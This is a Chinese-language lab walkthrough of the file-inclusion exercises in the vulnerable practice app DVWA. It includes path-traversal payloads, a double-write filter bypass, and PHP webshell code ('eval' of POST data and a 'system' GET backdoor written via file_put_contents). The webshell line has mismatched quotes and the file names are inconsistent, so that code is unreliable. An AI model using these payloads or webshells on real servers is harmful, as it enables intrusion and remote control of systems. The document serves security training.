1、文件包含漏洞简介
当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。
分类:
(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)
(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)
2、【DVWA】之文件包含
未启用allow_url_include函数,初次进入报错
在设置中找到对应版本,将其中allow_url_include打开,重启
报错消失
Low
查看源代码
无任何防护
点击file1.php。
图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。
1、本地文件包含
通过修改参数尝试获取当前目录其他文件
通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:
①绝对路径
?page=E:/software/test1.txt
②相对路径
?page=../../../../../../../test1.txt
注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的
信息算,或者一个一个摸索。
2、远程文件包含
当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。
在kali中www下创建两个文件,并开启apache服务
systemctl start apache2
cd /var/www/html
vim test.txt
hello~~~
vim test2.txt
<?php
@eval($_POST['cmd']);
echo '123';
?>
注:服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。
通过远程文件包含加载攻击者主机上的恶意代码
1.创建包含恶意攻击的代码文件
<?php echo file_put_contents("cmd.php","<?=system($_GET["cmd"]);?>');?>
//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码
//当这段 PHP 代码被执行后,会在当前目录下创建一个名为
cmd.php
的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问cmd.php
并传入cmd
参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。
访问成功后,查看根目录
包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。
cmd利用:
shell利用:
打开蚁剑
Medium
查看源码,str_replace()函数对“http://”、“https://”、“../”、“..\”进行了过滤删除。
那么我们可以访问绝对路径
?page=E:/test.txt
也可以使用双写绕过:
?page=hhttp://ttp://www.baidu.com
利用:
shell的利用和low一样
High
查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件
- 验证规则:
fnmatch("file*", $file)
:检查文件名是否以file
开头(如file1.php
、file2.txt
)。$file != "include.php"
:允许直接访问include.php
文件。
- 目的:只允许访问以
file
开头的文件或include.php
,防止访问其他敏感文件(如配置文件、数据库等)
file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。